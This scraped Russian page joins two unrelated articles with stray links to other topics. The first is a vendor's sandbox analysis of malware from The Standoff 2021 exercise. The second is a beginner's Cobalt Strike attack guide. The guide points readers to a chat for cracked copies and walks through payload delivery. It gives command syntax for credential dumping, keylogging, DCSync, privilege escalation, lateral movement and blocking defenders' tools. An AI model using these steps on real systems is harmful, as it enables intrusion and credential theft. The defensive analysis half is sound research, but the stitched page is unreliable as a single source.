cobalt strike что такое

The Standoff, май 2021 года. О пойманных зверьках в песочнице

С 18 по 21 мая 2021 года на киберполигоне The Standoff прошло очередное противостояние между атакующими и защитниками. Бои проходили в вымышленном городе FF, представляющем собой обширную инфраструктуру, моделирующую технологические и бизнес-процессы компаний в промышленности, энергетике, на транспорте, в финансах и других секторах.

В этот раз в кибербитве участвовали тридцать команд атакующих, жаждущих воспроизвести очередной бизнес-риск, и пять команд защитников, всячески препятствующих действиям противоположной стороны. Кроме них, на протяжении всего времени соревнований работал security operation center (SOC), состоящий из нескольких команд PT Expert Security Center и наблюдавший за всем происходящим. Одной из таких команд, участвовавших в тщательном мониторинге, был наш отдел обнаружения вредоносного ПО. С помощью песочницы PT Sandbox мы анализировали входной поток файлов на предмет наличия вредоносного кода. Вот ее возможности:

сканирование файлов статическими правилами нашего PT ESC,

отслеживание вредоносной активности в результате запуска образца в изолированной среде поведенческими правилами PT ESC,

анализ сетевого трафика внутри виртуальных машин с помощью тех же правил, что используются в PT Network Attack Discovery,

анализ дампов памяти процессов и файловых артефактов правилами PT ESC,

сканирование файла с помощью SDK внешних антивирусных вендоров.

Давайте посмотрим, что интересного удалось обнаружить в этот раз. Также предлагаем вам сравнить результаты с «уловом» в песочнице с прошлого противостояния.

Общая статистика

Мы провели анализ событий в песочнице за период с 18 мая 10:00 до 21 мая 14:00. Согласно регламенту проведения противостояния, 18 и 19 мая с 19:00 до 10:00 следующего дня активные действия на полигоне не проводились. За время проведения кибербитвы в песочницу поступило 67142 файла на анализ, из которых в 233 случаях было обнаружено вредоносное ПО. Файлы в систему поступали следующим образом:

из вложений писем с почтовых серверов инфраструктуры города FF;

из сетевого трафика, перехваченные с помощью PT Network Attack Discovery;

через ICAP, перехваченные с помощью PT Application Firewall;

путем загрузки вручную через веб-интерфейс специалистами SOC.

На рисунках ниже представлены распределения всех файлов, поступивших на анализ, по источникам, а также распределение по источникам тех, в которых обнаружен вредоносный код:

Рисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникам Рисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникам

Мы распределили задетектированные файлы по шестичасовым промежуткам времени, в которые они поступили на анализ. Вот что получилось:

Рисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в систему

Отметим пиковые промежутки в дневное время по московскому часовому поясу за день до начала конференции PHDays и в первый день ее проведения. Обосновано отсутствие потока файлов в ночное время 19 и 20 мая, так как в этот период активность противостояния приостанавливалась по регламенту.

Специалисты отдела обнаружения вредоносного ПО дополнительно проанализировали каждый вредоносный образец, обнаруженный в PT Sandbox, с целью верификации и уточнения принадлежности определенному семейству. На рисунке ниже классификация файлов по семействам.

Рисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействам

В сравнении с прошлым соревнованием в этот раз не было массовых спам-рассылок, из-за чего число обнаруженных однотипных образцов могло бы быть достаточно большим. Тем не менее, тенденция не сильно изменилась. Атакующие по-прежнему отдают предпочтение использованию фреймворков Metasploit и Cobalt Strike для создания троянов-загрузчиков в качестве нагрузки первой стадии. Используются легитимные инструменты PsExec и RemCom для запуска кода на удаленных серверах. Применяются такие инструменты, как NSSM, для закрепления в системе. Мы видели распространение майнеров криптовалюты, в том числе собственного исполнения (атакующие получали дополнительные очки за майнинговую активность).

Рисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалюты

Также отметим попытки эксплуатации уязвимостей: в топ попала уязвимость CVE-2018-4993 в программе Adobe Acrobat Reader, благодаря которой атакующие могут провести атаку NTLM-relay. Впрочем, вот список полученных эксплойтов на прочие бреши, которые использовались в меньшем количестве:

А теперь давайте изучим примеры из некоторых семейств подробнее.

Cobalt Strike

В этот раз практически в каждом втором случае в качестве полезной нагрузки использовался модуль управления компьютером от пентестерского фреймворка Cobalt Strike. Рассмотрим это семейство на примере вложения к письму с именем TechnicalDocuments2.doc

Судя по расширению файл представляет собой офисный документ:

Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

На изображении выше отметим предупреждение, что файл содержит макросы, которые отключены.

После запуска VBA-макрос передаст на управляющий сервер имя пользователя и имя домена машины, а полученную в ответ полезную нагрузку запустит с использованием WMI:

Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В ответе от сервера будет получен однострочник на языке PowerShell, который загрузит и запустит полезную нагрузку следующей стадии:

Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Далее снова будет загружен PowerShell-скрипт, но большего размера. Он содержит бинарные данные, которые сначала декодируются из base64, а затем расшифровываются линейным XOR с ключом KUPORIS001 без кавычек и запускаются:

Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50

Расшифрованные данные вновь представляют собой скрипт PowerShell, который декодирует и расшифровывает следующие данные, передавая на них управление кода:

Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89 Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89

В начале полученных данных находится позиционно-независимый код, который в дальнейшем произведет отраженную загрузку основного бэкдора фреймворка — Beacon Cobalt Strike, с управляющим сервером по адресу 104.248.40[.]15:443.

Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042 Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042 Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042

С цепочкой заражения разобрались. Теперь давайте посмотрим, как это обнаружил PT Sandbox.

На этапе статического анализа офисного документа был выявлен макрос. Кроме того, детектирован автозапуск макроса в момент открытия документа:

Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В результате запуска образца в изолированной среде обнаружен запуск подпроцесса в офисном приложении, а также произошло срабатывание правила на записанный сетевой трафик.

Metasploit

Пятую часть от всех обнаруженных инструментов атакующих представляет нестареющая классика — промежуточные загрузчики, или стейджеры, пентестерского фреймворка Metasploit. Данные стейджеры рассматривались многократно различными исследователями, поэтому проведем поверхностный анализ на примере одного из образцов с не менее классическим именем lolkekpohek.exe.

Это исполняемый файл, выдающий себя за серверную часть популярного веб-приложения Apache Server:

При этом точка входа PE-файла приводит нас вовсе не к легитимному коду HTTP-сервера, а к набору мусорных, ничего не значащих инструкций, заканчивающихся прыжком на область кода чуть ниже:

Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Начиная с этого момента, нас ждет много безусловных переходов. Чтобы не запутаться в коде, продолжим анализ с помощью отладчика. Пройдя по коду чуть дальше, отметим вызов функции с последующим прыжком:

Читайте также:  fee income что это

Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть дальше мы видим, как происходит извлечение адреса возврата из стека, подготовка параметров и передача управления кода на извлеченный адрес:

Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Далее нас ждет работа с PEB исполняемого файла: поиск нужной API функции с перебором загруженных модулей (библиотек) в адресное пространство. Сравнения при поиске происходят не напрямую: от строки имени функции вычисляется простейшая хеш-сумма на базе циклического побитового сдвига. Затем происходит сравнение результата вычисления с предварительно заданным значением. Если значения совпадают — нужная функция найдена, и происходит ее вызов. В данном случае будет найдена и вызвана функция выделения памяти: VirtualAlloc.

Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть позже в полученную область памяти будет скопирован фрагмент кода, который затем получит управление кода. Это фрагмент и представляет собой промежуточный загрузчик фреймворка Metasploit, который соединится с управляющим сервером для получения полезной нагрузки.

Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

А что с обнаружением? При статическом анализе образца был обнаружен разобранный выше стейджер фреймворка Metasploit.

Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

В результате поведенческого анализа зарегистрировано вредоносное соединение с управляющим сервером:

Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Полезная нагрузка представляет собой инструмент Mettle, это некий аналог хорошо известного бэкдора Meterpreter.

Goagent

Мы, честно говоря, обрадовались, увидев использование этого инструмента для удаленного управления компьютером вновь. Не будем повторяться, рассказывая о возможностях бэкдора, написанного на языке Go, в некоторых случаях также упакованного UPX с испорченными именами секций, — об этом вы можете подробнее почитать в нашем осеннем разборе противостояния. Вместо этого расскажем о цепочке атаки, которая имела место быть в этот раз.

21 мая в полночь пришло письмо с фишинговой ссылкой и вложением, представляющим собой офисный документ, якобы резюме:

Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Офисный документ содержит VBA-макрос. В результате исполнения будет запущен подпроцесс PowerShell, который загрузит и запустит исполняемый файл по ссылке. Отметим пару интересных моментов:

Загруженная полезная нагрузка будет размещена в каталоге планировщика задач с именем, похожим на легитимный процесс в системе svchost.exe (атакующие убрали букву «c» в имени файла).

Имя домена управляющего сервера позволяет провести атрибуцию образца с одной из команд — участниц соревнования.

Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748

Что касается обнаружения в PT Sandbox: при статическом анализе вновь обнаруживается вредоносный код в макросе офисного документа:

Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0 Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

А что еще?

Следующие образцы встречались в меньшем количестве, но от этого они не становятся менее значимыми. Давайте бегло посмотрим, а что мы поймали еще?

beRoot.pdf

Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Впрочем, фрагменты видеозаписи могут служить подсказкой для дальнейшего анализа:

Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Чуть более глубокий анализ подсказал, что образец представляет собой скомпилированную программу на языке Python с применением утилиты PyInstaller. А сама программа — инструмент BeRoot, позволяющий искать недочеты в системе для подсказки, каким образом можно повысить привилегии пользователя. Впрочем, название инструмента уже содержалось в имени перехваченного образца.

Password Changing Procedure.docx

Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5 Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634

Поиск в интернете по фрагментам строк приводит к проекту unicorn (не путать с известным эмулятором бинарного кода), который предназначен для внедрения шеллкода с использованием PowerShell: в частности, промежуточного загрузчика фреймворков Cobalt Strike и Metasploit, рассмотренных ранее.

winPEASx64.exe

Рисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Это утилита WinPEAS — инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе. В некотором смысле схож с ранее рассмотренным BeRoot.

SharpHound.exe

Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863 Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

/dirty

Если есть разведка и поиск способов повысить привилегии — должны быть инструменты, позволяющие этим воспользоваться. 20 мая в 13:06 в сетевом трафике перехвачен исполняемый файл под платформу Linux, который представляет собой эксплойт для уязвимости CVE-2016-5195 в ядре Linux, известной также как Dirty COW.

Рисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

CVE-2018-8120.exe

Еще один эксплойт, полученный из сетевого трафика 21 мая в 11:34. Несложно догадаться и по его названию, что это повышение привилегий в системе Windows с использованием уязвимости CVE-2018-8120 в графической подсистеме.

Рисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

BitsArbitraryFileMoveExploit.exe

И напоследок пример еще одного обнаруженного эксплойта. 21 мая в 11:26 все так же, из сетевого трафика, извлечен исполняемый файл, использующий на этот раз уязвимость CVE-2020-0787 в сервисе Windows Background Intelligent Transfer Service (BITS).

Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

Кстати, недавно на одном из наших вебинаров мы обсуждали приемы обнаружения эксплойтов повышения привилегий в общем случае — рекомендуем ознакомиться, если не видели.

Заключение

В качестве итога приведем диаграмму, которая отражает статистику распределения детектов при использовании нескольких технологий защиты.

Рисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПО

В сравнении с предыдущим соревнованием мы видим, что наша внутренняя экспертиза в продукте расширила горизонт покрытия определяемого ВПО. Мы продолжаем развивать наши технологии обнаружения вредоносного ПО и держать руку на пульсе современных актуальных угроз.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies

Источник

Руководство по Cobalt Strike для самых маленьких. Часть 1

Ты спрашивал что такое Cobalt Strike? Мы тебе расскажем об этом простым языком, с картинками и примерами, буквально «с нуля». Всё, как ты любишь.

Cobalt Strike, или в простонародье «коба» или «кобальт» — это фреймворк для эксплуатации и постэксплуатации. То есть с его помощью ты сможешь как сформировать полезные нагрузки, так и использовать его для развития атаки, укрепления и контроля над целевой сетью. Как пишут сами разработчики, Cobalt — это инструмент, который позволяет мамкиным хакерам действовать как настоящие профи. К слову, именно за его простоту и удобство, этот фрэймворк горячо любим как «рэнсомщиками», так и крупными APT. Статистика сообщает, что 66% злоумышленников используют именно этот фреймворк. Однако именно благодаря своей популярности, свежие версии «кобы» и его полезных нагрузок моментально попадают в базы антивирусов и поэтому создать действительно «необнаружимую» полезную нагрузку Кобальта весьма затруднительно (а соответственно — дорого).

Но пока не заморачивайся, мы начнём «с азов». В этом материале ты узнаешь как взаимодействовать с атакуемой машиной, используя Cobalt Strike. Мы постараемся донести до тебя всё коротко, максимально доступно и по существу. Будем предполагать, что у тебя нет лицензионной копии (или кряка), но это не проблема, ведь скачать нужную версию можно у нас в чате @badbclub.

Читайте также:  dexron 3 что это такое

Для тех, кто только начинает осваивать Cobalt Strike, мы настоятельно рекомендуем посетить официальный блог и потратить некоторое время на чтение всей информации там. У нас на сайте можно ознакомиться с переводом официального руководства по эксплуатации.

И ещё немного для тех, кто хочет понимать с чем же имеет дело. С официального веб-сайта: “Cobalt Strike — это программное обеспечение для тестирования на проникновение, которое выполняет целевые атаки и воспроизводит продвинутые угрозы”. Если ты уже знаком с Armitage, то интерфейс Cobalt Strike не должен тебя смутить, но несмотря на общих авторов, между этими двумя продуктами всё же есть огромная разница. Этот замечательный фреймворк предназначен как для эксплуатации и постэксплуатации. В качестве полезной нагрузки используется beacon, с возможностью обфускации и фриза для обхода антивирусов, что, в общем-то, штатными средствами не очень действено. Кобальт отлично поддерживает миграцию в процессы. Отлично подходит и для сервака C2, хочется отметить удобство ориентирования при большом количестве целей. Специально для самых ленивых, по умолчанию «коба» имеет встроенный генератор полезных нагрузок одним кликом и поддерживает различные методы доставки. Ещё не убедился тогда тебе надо попробовать!

Начало работы

В каталоге Cobalt Strike введите следующую команду для запуска team server-а:

10.0.2.15 — это IP-адрес Kali Linux (скачать можно тут), которую мы будем использовать для атаки. Пароль может быть любым, каким вы пожелаете.

Теперь необходимо запустить Cobalt Strike и подключится к тимсерверу:

Host – айпи тимсервера;

Port – порт тимсервера;

User – любое имя;

Password – пароль, который Вы указали при запуске тимсервера (в нашем случае cybersecpassword).

После подключения вам будет представлен пользовательский интерфейс Cobalt Strike, в котором вы сможете взаимодействовать со своими целями и делать другие интересные вещи, но об этом немного позже.

Взлом Windows Server 2008. Создание Listener-ов

Тестировать работу программы будем на Metasploitable3 — это бесплатная виртуальная машина, которая позволяет моделировать атаки в основном с использованием Metasploit. Используется людьми в индустрии безопасности по целому ряду причин: например, для обучения эксплуатации сети, разработки эксплойтов, тестирования программного обеспечения, технических собеседований при приеме на работу и тд. Скачать можно тут или тут.

Взлом начнем с создания listener-а, для этого во вкладке Cobalt Strike выбираем Listeners:

После нажатия, рядом с вкладкой Event Log откроется еще одна, в которой можно управлять и создавать listener-ы:

Нажимаем Add и в появившемся окне настраиваем новый listener:

На выбор доступно несколько пейлоадов:

HTTP/HTTPS — самые основные полезные нагрузки для beacon, по умолчанию будут прослушивать порты 80 и 443 с возможностью установки пользовательских портов. У вас есть возможность настроить параметры прокси-сервера, настроить заголовок HTTP или указать порт для перенаправления трафика маяка.

DNS — очень скрытая полезная нагрузка, обеспечивает более скрытый трафик по протоколу dns, вам необходимо указать DNS-сервер для подключения. Лучшая ситуация для использования прослушивателя такого типа — заблокированная среда, которая блокирует даже обычный трафик, такой как порты 80 и 443.

TCP — базовый реверс шелл tcp, привязанный к определенному порту. Нечто похожее мы писали в этой статье.

SMB — потрясающая опция для внутреннего распространения и бокового перемещения, эта полезная нагрузка использует именованные каналы по протоколу smb и является лучшим подходом для обхода брандмауэров, когда даже порты по умолчанию, такие как 80 и 443, занесены в черный список.

Foreign HTTP/HTTPS — эти типы прослушивателей предоставляют нам возможность передавать сеанс из платформы metasploit в cobalt strike с использованием полезных нагрузок http или https. Примером является выполнение модуля эксплойта из metasploit, а получение сеанса в cobalt strike.

External C2 — это особый тип прослушивателя, который дает возможность сторонним приложениям выступать в качестве средства связи для маяка.

Для тестов нам хватит стандартного пейлоада http, его и оставляем. В поле Name можете вписать любое имя для этого прослушивателя, в HTTP Hosts указываем айпи атакующей машины, в нашем случае это 10.0.2.15, в поле Port оставляем значение “80” и нажимаем Save.

Если Вы всё сделали правильно, Cobalt Strike сообщит вам, о том, что listener был запущен:

Во вкладке Listeners Вы сможете найти все созданные прослушиватели, а также сможете ими управлять:

Взлом Windows Server 2008. Доставка полезной нагрузки

Эта функция предоставит нам однострочный скрипт PowerShell для запуска на хосте-жертве:

URL Path – путь в веб-сервере, где будет хранится пейлоад;

Local Host – айпи атакующей машины;

Local Port – порт, на котором будет запущен веб-сервер (выбираем любой порт, кроме 80, ведь на 80 у нас запущен листенер, который ожидает соединения с атакуемой машиной);

Listener – выбираем нужный листенер из списка;

Type – доступны следующие параметры:

Опция bitsadmin размещает исполняемый файл и использует bitsadmin для его загрузки. Метод bitsadmin запускает исполняемый файл через cmd.exe.

Опция exe генерирует исполняемый файл и размещает его на веб-сервере Cobalt Strike.

Параметр powershell содержит сценарий PowerShell и использует powershell.exe чтобы загрузить скрипт и запустить его.

Параметр powershell IEX аналогично предыдущему варианту, но предоставляет более короткую однострочную команду для выполнения вызова, которую можно вставить в консоль PowerShell.

Опция python содержит скрипт Python и использует python.exe чтобы загрузить скрипт и запустить его.

Каждый из этих вариантов представляет собой отдельный способ запуска прослушивателя Cobalt Strike.

В конце настройки нажимаем Lauch, если Вы всё сделали правильно, то появится окно с командой (и сообщение в консоли), её необходимо запустить на атакуемой машине:

Запускаем команду на атакуемой машине и через несколько секунд у нас появляется сессия на главной страннице Cobalt Strike:

С помощью верхнего меню, мы можем менять вид отображения целей. Здесь также следует отметить еще одну вещь: молнии и * (звездочка) сразу после имени пользователя. Это означает, что у нас есть максимальные права:

Взлом Windows Server 2008. Взаимодействие с целью

Когда beacon “кобальта” был запущен, мы получили доступ к системе, но что дальше? А дальше следует повышение прав и дамп паролей пользователей!

Нажав ПКМ по цели, мы видим меню, в глаза сразу бросается кнопка Interact, она позволяет получить доступ к “консоли” beacon-а:

Тут мы можем вводить стандартные (и не только) команды ОС, а beacon пришлёт нам их ответ:

Список стандартных команд beacon-а:

help — список доступных команд;

help — показать меню справки выбранного модуля;

jobs — перечислите выполняемые задания beacon;

jobkill — “убить” указанный процесс;

run — выполнение команд операционной системы с помощью вызовов Win32 API;

shell: Выполнение команд операционной системы путем создания «cmd.exe /с»;

powershell — выполнение команд путем создания «powershell.exe»;

powershell-import — импорт локального модуля powershell в текущем процессе “маяка”;

drives — список текущих системных дисков;

getuid — получить идентификатор текущего пользователя;

sleep — установите интервал обратного вызова маяка;

Читайте также:  субарахноидальное пространство расширено у взрослого на мрт что это

ps — список процессов;

cd — измените каталог;

cp — скопируйте локальный файл в другое локальное расположение;

download/upload — загрузите файл и загрузите локальный файл;

download C:\Users\victim\Documents\passwords.csv

upload /home/Cybersec/NotMalware/youvebeenhacked.txt

cancel — отмена загрузки файла;

reg — запрос в реестре;

spawn — создаёт новый маяк на текущей машине, Вы можете выбрать любой тип слушателя, который вам нужен;

spawn [x86|x64] [listener]

spawnas — создаёт новый маяк на текущей машине в качестве другого пользователя, предоставив учетные данные (сравнить можно с командой su в линуксе);

spawnas [DOMAIN\user] [password] [listener]

spawnto — задает исполняемый файл, который beacon будет использовать для создания и ввода в него шелл-кода для его функциональности после эксплуатации. Вы должны указать полный путь к исполняемому файлу;

spawnto [x86|x64]

spawnu — попытка создать сеанс с поддельным PID в качестве родительского, контекст процесса будет соответствовать идентификатору указанного PID;

spawnu [pid] [listener]

argue — Будет маскировать/подменять аргументы выбранной вредоносной команды указанными аргументами;

blockdlls — этот модуль создаст и установит пользовательскую политику для дочерних процессов beacon, которая заблокирует внедрение любой сторонней библиотеки dll, не подписанной корпорацией Майкрософт, таким образом, мы сможем заблокировать любой инструмент blue team, который использует внедрение библиотеки dll для проверки и уничтожения вредоносных процессов и действий.

blockdlls [start|stop]

Команды для повышения прав:

elevate — содержит множество способов повышения ваших привилегий до администратора или SYSTEM с помощью эксплойтов ядра и обходов UAC;

elevate [exploit] [listener]

elevate juicypotato Cybersec_HTTP_ReverseShell

elevate ms16-032 Cybersec_HTTP_ReverseShell

getsystem — пытается выдать себя за систему, если это не удается, мы можем использовать steal_token, чтобы украсть токен у процесса, который работает от имени SYSTEM;

getprivs — аналогично функции metasploit, включает все доступные привилегии для текущего токена;

runasadmin — пытается выполнить команду в повышенном контексте администратора или SYSTEM, используя локальное ядро или обход UAC. Разница с elevate заключается в том, что он не создает новый маяк, а выполняет указанное приложение по нашему выбору в новом контексте.

runasadmin [exploit] [command] [args]

runasadmin uac-token-duplication whoami

runasadmin uac-cmstplua whoami

browserpivot — захватит веб-сеанс Internet Explorer и позволит нам просматривать веб-страницы в качестве браузера жертвы, включая его сеансы, файлы cookie и сохраненные пароли;

dcsync — позволяет осуществить атаку DCsync с помощью Mimikatz (подробнее тут и тут, там же можно узнать про несколько других приёмов, которые использует Cobalt);

dcsync [DOMAIN.fqdn] [DOMAIN\user]

desktop — внедрит сервер VNC в процесс маяка;

desktop [pid] [x86|x64] [high|low]

dllinject/dllload — внедряет библиотеку dll в процесс (подробнее тут и тут, там же можно узнать про несколько других приёмов, которые использует Cobalt);

execute-assembly [/path/to/local/.NET] [arguments]

inject — внедрить полезную нагрузку маяка в указанный процесс и создать новый сеанс маяка в контексте его безопасности;

inject [pid] [x86|x64] [listener]

kerberos* — управление билетами kerberos;

ppid — подменяет родительский процесс маяка для любого задания по порождению потомков после эксплуатации. Таким образом, мы сможем скрыть наши злонамеренные задания после эксплуатации;

psinject — выполните инъекцию в указанный процесс и выполните команду, используя функциональность powerpick. Доступны модули Powershell, импортированные с помощью powershell-импорта;

runu — выполните команду под поддельным идентификатором процесса;

shinject — внедрите шелл-код в другой запущенный процесс;

shspawn — создайте новый процесс и вставьте в него шелл-код;

shspawn [x86|x64] [/path/to/my.bin]

hashdump — позволяет сдампить NTLM хэши (дампит учетные данные пользователей локальной машины);

keylogger — будет фиксировать нажатия клавиш указанного процесса и сохранять их в базе данных;

keylogger [pid] [x86|x64]

screenshot — захватит экран текущего процесса и сохранит его в базе данных;

screenshot [pid] [x86|x64] [run time in seconds]

logonpassword — выполняет хорошо известную функцию logonpasswords mimikatz на текущей машине. Эта функция, конечно, использует инъекцию процесса, поэтому она небезопасна для OPSEC, используйте ее с осторожностью;

mimikatz — вы можете выполнять любую функцию mimikatz, функциональность драйвера mimikatz не включена;

portscan: сканирует порты указанной цели;

portscan [ip or ip range] [ports]

runas — используя учетные данные, вы можете выполнить команду от имени другого пользователя;

runas [DOMAIN\user] [password] [command] [arguments]

pth — указав имя пользователя и хэш NTLM, вы можете выполнить хэш-атаку и ввести TGT в текущий процесс (для этого модуля требуются права администратора);

pth [DOMAIN\user] [hash]

steal_token – позволяет украсть токен у указанного процесса;

jump — обеспечивает простой и быстрый способ перемещения в сети с помощью winrm или psexec для создания нового сеанса маяка на цели. Модуль перехода будет использовать текущий токен для аутентификации на удаленной цели. Мы можем объединить модуль перехода с модулем make_token или pth для быстрого “перехода” к другой цели в сети;

jump [psexec64,psexec,psexec_psh,winrm64,winrm] [server/workstation] [listener]

jump psexec64 DC01 Cybersec_HTTP_ReverseShell

jump winrm WS04 Cybersec_HTTP_ReverseShell

jump psexec_psh WS01 Cybersec_HTTP_ReverseShell

remoteexec — выполните команду на удаленной цели с помощью psexec, winrm или wmi. Модуль удаленного исполнителя будет использовать текущий токен делегирования/олицетворения для аутентификации на удаленном целевом объект;

remote-exec [method] [target] [command]

ssh/ssh-key — аутентификация с помощью ssh с паролем или закрытым ключом. Работает как для хостов Linux, так и для Windows. Это дает вам базовую функциональность ssh с некоторыми дополнительными модулями последующей эксплуатации.

Рассматривая меню, мы увидим вкладку Access, в которой есть функция дампа хешированных паролей:

Эти хеши в любой момент можно посмотреть в верхней вкладке Credentials:

Дальше по списку Elevate, эта функция позволяет получить права системы используя несколько методов:

Выбираем эксплоит и листенер, после чего нажимаем Launch:

Если всё сработало, у нас создастся новый «маяк», но юзер будет с максимальными правами, нажимаем Interact и можем выполнять любую команду в скомпрометированной системе:

Вывод команды shell whoami:

Мы также можем запустить Mimikatz (подробнее тут и тут, там же можно узнать про несколько других приёмов, которые использует Cobalt):

Продолжая смотреть меню, мы можем наткнутся на функцию File Browser, не сложно догадаться, что она делает:

В конце хочется показать возможность внедрения VNC:

Подключение происходит не сразу, но не стоит беспокоится, спустя несколько попыток “кобальт” создаст сессию, и вы сможете наблюдать за экраном скомпрометированной системы:

Если вы хотите управлять системой через VNC, то стоит отключить режим ViewOnly в нижней панели:

Итоги

Cobalt Strike — это профссиональный, но простой и доступный (если есть кряк) начинающему юзеру инструмент, дети будут пищать от восторга, это же круче чем их любимый “ДаркКомет” : ). Гуишная оболочка очень удобная и наглядная, можно поднять права буквально за два-три нажатия.

P.S. Кстати, совсем недавно появилась новая версия 4.4…

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ. НАПОМИНАЕМ, ЧТО СКАНИРОВАТЬ МОЖНО ТОЛЬКО СВОИ СОБСТВЕННЫЕ СИСТЕМЫ ИЛИ ТЕ, НА СКАНИРОВАНИЕ КОТОРЫХ ВЫ ПРЕДВАРИТЕЛЬНО ПОЛУЧИЛИ РАЗРЕШЕНИЕ. ОПИСАННЫЕ В СТАТЬЕ ИНСТРУМЕНТЫ ИСПОЛЬЗУЮТСЯ ПРОФЕССИОНАЛАМИ ДЛЯ ПРОВЕДЕНИЯ ТЕСТОВ НА ПРОНИКНОВЕНИЕ ПО ВСЕМУ МИРУ. МЫ НЕ РЕКОМЕНДУЕМ ВАМ ИСПОЛЬЗОВАТЬ ИХ ДЛЯ СКАНИРОВАНИЯ ЧУЖИХ СИСТЕМ.

Источник

Сказочный портал